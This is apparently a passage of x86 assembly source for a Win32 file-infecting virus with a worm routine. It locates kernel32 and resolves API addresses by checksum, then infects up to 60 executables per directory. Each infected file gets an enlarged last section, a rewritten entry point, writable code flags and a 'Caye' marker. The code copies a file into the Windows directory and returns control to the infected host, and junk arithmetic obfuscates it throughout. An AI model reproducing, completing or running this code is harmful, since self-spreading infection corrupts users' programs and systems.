SearchNextApi1: ; search for the API's mov dword ptr [ebp+NTableTemp], 0 xor dword ptr [ebp+NTableTemp], edx ; mov eax, -1 mov eax, ( -1d - 25d ) add eax, 25d and eax, dword ptr [ebp+KernelMZ] add eax, dword ptr [edx] mov edx, eax push edx pop esi push esi mov dword ptr [ebp+TempApisearch3], 0 add dword ptr [ebp+TempApisearch3], ecx cld mov eax, dword ptr [ecx] LoopChsksm: xor ebx, ebx mov bl, byte ptr [esi] inc esi clc sal bx,8d sub eax, ebx cmp bx, 0 je LoopConti xor ebx, ebx mov bl, byte ptr [esi] sub eax, ebx sub esi, -1d cmp bx, 0 jne LoopChsksm LoopConti: dec eax inc eax jz FoundApi1 ApiNotFound: ; we did not find it :( pop esi mov ecx, ( -1d + 35d ) sub ecx, 35d and ecx, dword ptr [ebp+TempApisearch3] mov edx, 0 add edx, -1d and edx, dword ptr [ebp+NTableTemp] inc edx add edx, 3d inc word ptr [ebp+counter] cmp word ptr [ebp+counter], 2000h je NotFoundApi1 jmp SearchNextApi1 FoundApi1: pop ecx ; retrieve the offset movzx edx, word ptr [ebp+counter] adc ebx, ecx shl edx, 1 add edx, dword ptr [ebp+OTableVA] or eax, ecx push edx pop eax movzx edx, word ptr [eax] sal edx, 2h add edx, dword ptr [ebp+ATableVA] mov eax, dword ptr [edx] add eax, dword ptr [ebp+KernelMZ] mov dword ptr [ebp+TempAPI], -1 and dword ptr [ebp+TempAPI], eax popad ret NotFoundApi1: pop ebx popad jmp ExecuteHost NoKernel: ; store old EIP and ImageBase push dword ptr [ebp+OldEIP] pop eax push eax pop dword ptr [ebp+retEIP] mov ebx, ( -1d + 27d ) sub ebx, 27d and ebx, dword ptr [ebp+OldBase] mov dword ptr [ebp+retBase], 0 xor dword ptr [ebp+retBase], ebx adc ecx, edx ExecuteHost: ; Start the infected File ; check if we are first generation add ebp, -1 add ebp, 1 jz FirstGenHost mov ebx,12345678h org $-4 retBase dd 0h add ebx,12345678h org $-4 retEIP dd 0h jmp ebx CreateWorm: ; get Current Directory lea ebx, [ebp+OldDirectory] xchg ebx, edi push edi mov ebx, 0 add ebx, 255d push ebx call dword ptr [ebp+XGetCurrentDirectoryA] push 255d mov ebx, offset DirectoryBuffer add ebx, ebp push ebx call dword ptr [ebp+XGetWindowsDirectoryA] lea edx, [ebp+DirectoryBuffer] xchg ebx, edx push ebx call dword ptr [ebp+XSetCurrentDirectoryA] ; check if the file exists and infect lea eax, [ebp+WormFile] xchg ecx, eax call FindFirstFileProc inc eax jz NoWorm call InfectFile ; copy file to new location push 1 lea edx, [ebp+WormFile2] xchg edx, ecx push ecx lea edi, [ebp+WormFile] xchg esi, edi push esi call dword ptr [ebp+XCopyFileA] NoWorm: ; restore old directory lea ebx, [ebp+OldDirectory] xchg edi, ebx push edi call dword ptr [ebp+XSetCurrentDirectoryA] ret KernelSearchStart: mov edi, 0bff70000h call GetKernel32 jnc GetApis mov edi, 077e00000h call GetKernel32 jnc GetApis mov edi, 077f00000h call GetKernel32 jnc GetApis jmp NoKernel GetKernel32: pushad mov ebx, 10344d sub ebx, 10344d lea eax, dword ptr [esp-8h] xchg eax, dword ptr fs:[ebx] lea ebx, [ebp+GetKernel32Exception] push ebx push eax add edi, 1d GetKernelLoop: mov eax, 0 dec edi sal ebx, 30d mov ax, word ptr [edi+03ch] cmp ax,0f800h je GetKernelLoop cmp edi, dword ptr [edi+eax+34h] jnz GetKernelLoop mov dword ptr [ebp+KernelMZ], -1 and dword ptr [ebp+KernelMZ], edi mov edx, [edi+3Ch] add edx, edi mov [KernelPE+ebp], edx mov edi, dword ptr [ebp+KernelPE] ; get Export-Table mov eax, [edi+78h] add eax, [ebp+KernelMZ] inc eax add eax, 27d ; get ATableVA mov edi, dword ptr [eax] add edi, [ebp+KernelMZ] mov dword ptr [ebp+ATableVA], edi add eax, 4d ; get NTableVA mov edi, dword ptr [eax] dec eax add eax, 5d and ebx, eax add edi, [ebp+KernelMZ] sar ecx, 23d mov dword ptr [ebp+NTableVA], edi ; get OTableVA mov edi, dword ptr [eax] add edi, [ebp+KernelMZ] mov dword ptr [ebp+OTableVA], edi and edx, 0 pop dword ptr fs:[edx] pop ebx popad clc ret GetKernel32Exception: mov ecx, 15297d sub ecx, 15297d mov eax, dword ptr fs:[ecx] mov esp, dword ptr [eax] GetKernel32NotFound: and eax, 0 pop dword ptr fs:[eax] pop ebx popad stc ret InfectEXE: ; infect an exe file and edx, 0 add edx, dword ptr [ebp+MapAddress] ; retrieve PE - Header mov ecx, edx add ecx, [edx+3Ch] ; get File Alignment mov edx, [ecx+3Ch] push dword ptr [ebp+WFD_nFileSizeLow] pop ecx ; calculate new size add ecx, VirusSize mov dword ptr [ebp+AlignReg2], 0 add dword ptr [ebp+AlignReg2], edx mov dword ptr [ebp+AlignReg1], 0 xor dword ptr [ebp+AlignReg1], ecx call Align push 0 pop ecx xor ecx, dword ptr [ebp+AlignReg1] ; unmap file and map it again with new size push ecx pop dword ptr [ebp+NewSize] pushad Call UnMapFile2 popad mov dword ptr [ebp+WFD_nFileSizeLow], -1 and dword ptr [ebp+WFD_nFileSizeLow], ecx call CreateMap jc NoEXE mov esi, 22859d sub esi, 22859d xor esi, dword ptr [ebp+MapAddress] ; retrieve PE - Header again mov edi, esi add edi, dword ptr [esi+3Ch] adc ecx, edx ; infect by increasing the last section sub esi, esi add esi, edi ; get last section movzx ecx, word ptr [esi+06h] sub ecx, 1 imul ecx, ecx, 28h add edi, ecx inc edi add edi, 119d mov edx, dword ptr [esi+74h] shl edx, 3 add edi, edx ; get old Entrypoint mov eax, dword ptr [esi+28h] mov dword ptr [ebp+OldEIP], 0 xor dword ptr [ebp+OldEIP], eax mov ecx, dword ptr [esi+34h] push ecx pop dword ptr [ebp+OldBase] mov ecx, [edi+10h] mov edx, ecx add ecx, [edi+14h] push ecx mov eax, edx add edi, 0Ch add eax, [edi] sub edi, 0Ch mov dword ptr [ebp+NewEIP], -1 and dword ptr [ebp+NewEIP], eax ; save new enty point in file mov dword ptr [esi+28h], 0 add dword ptr [esi+28h], eax sbb ebx, 21d mov eax, 0 add eax, [edi+10h] push eax ; calculate new section size push dword ptr [esi+3Ch] add eax, VirusSize pop dword ptr [ebp+AlignReg2] mov dword ptr [ebp+AlignReg1], 0 add dword ptr [ebp+AlignReg1], eax call Align push -1d pop eax and eax, dword ptr [ebp+AlignReg1] mov dword ptr [edi+10h], eax pop eax add eax, VirusSize mov dword ptr [edi+08h], eax mov eax, dword ptr [edi+0Ch] add eax, dword ptr [edi+10h] mov dword ptr [esi+50h], 0h add dword ptr [esi+50h], eax ; set write, read and code flag or dword ptr [edi+24h], 0A0000020h ; set infection mark mov dword ptr [esi+4Ch], 'Caye' ; Append Virus pop edi lea ecx, [ebp+Virus] xchg ecx, esi mov ebx, VirusSize add edi, dword ptr [ebp+MapAddress] AppendLoop: movsb dec ebx jnz AppendLoop ; decrease Infection Counter mov eax, ( -1d + 24d ) sub eax, 24d and eax, dword ptr [ebp+InfCounter] add eax, -1 push eax xor ebx, 72855351d pop dword ptr [ebp+InfCounter] clc ret NoEXE: stc ret InfectCurDir: ; Infect the current directory mov [ebp+InfCounter], 60d lea ecx, [ebp+filemask] ; Find File to infect call FindFirstFileProc inc eax jz EndInfectCurDir InfectCurDirFile: ; Infect the file call InfectFile ; Check Infection Counter push dword ptr [ebp+InfCounter] pop edx or edx, edx jz EndInfectCurDir ; find more Files call FindNextFileProc test eax, eax jnz InfectCurDirFile EndInfectCurDir: ; Close the Handle push dword ptr [ebp+FindHandle] pop ebx push ebx call dword ptr [ebp+XFindClose] ret adc ecx, 23658773d InfectFile: ; Infect a file ; check for minimum filesize mov eax, 13514d sub eax, 13514d xor eax, dword ptr [ebp+WFD_nFileSizeLow] cmp eax, 20000d jbe NoInfection call OpenFile ; open the file jc NoInfection ; check for EXE File push 0 pop ebx add ebx, dword ptr [ebp+MapAddress] ; check for ZM movzx edx, word ptr [ebx] xor edx, 'ZM' jz Goodfile push 59672d pop ecx test ecx, ecx jnz Notagoodfile Goodfile: cmp word ptr [ebx+3Ch], 0h jne _Notagoodfile jmp Notagoodfile _Notagoodfile: mov eax, 0 add eax, dword ptr [ebx+3Ch] ; check if header lies inside the file cmp eax, dword ptr [ebp+WFD_nFileSizeLow] ja Notagoodfile add eax, ebx ; check for PE Header ; check for EP movzx edx, word ptr [eax] xor edx, 'EP' jz Goodfile2 jmp Notagoodfile Goodfile2: ; check for previous Infection cmp dword ptr [eax+4Ch], 'Caye' jnz yNotagoodfile jmp Notagoodfile yNotagoodfile: call InfectEXE ; Infect the file jc NoInfection Notagoodfile: call UnMapFile NoInfection: ret CryptEnd: EndVirus: .code FakeCode: push offset VirusCode ret FirstGenHost: mov edx, 0 push edx call ExitProcess end FakeCode |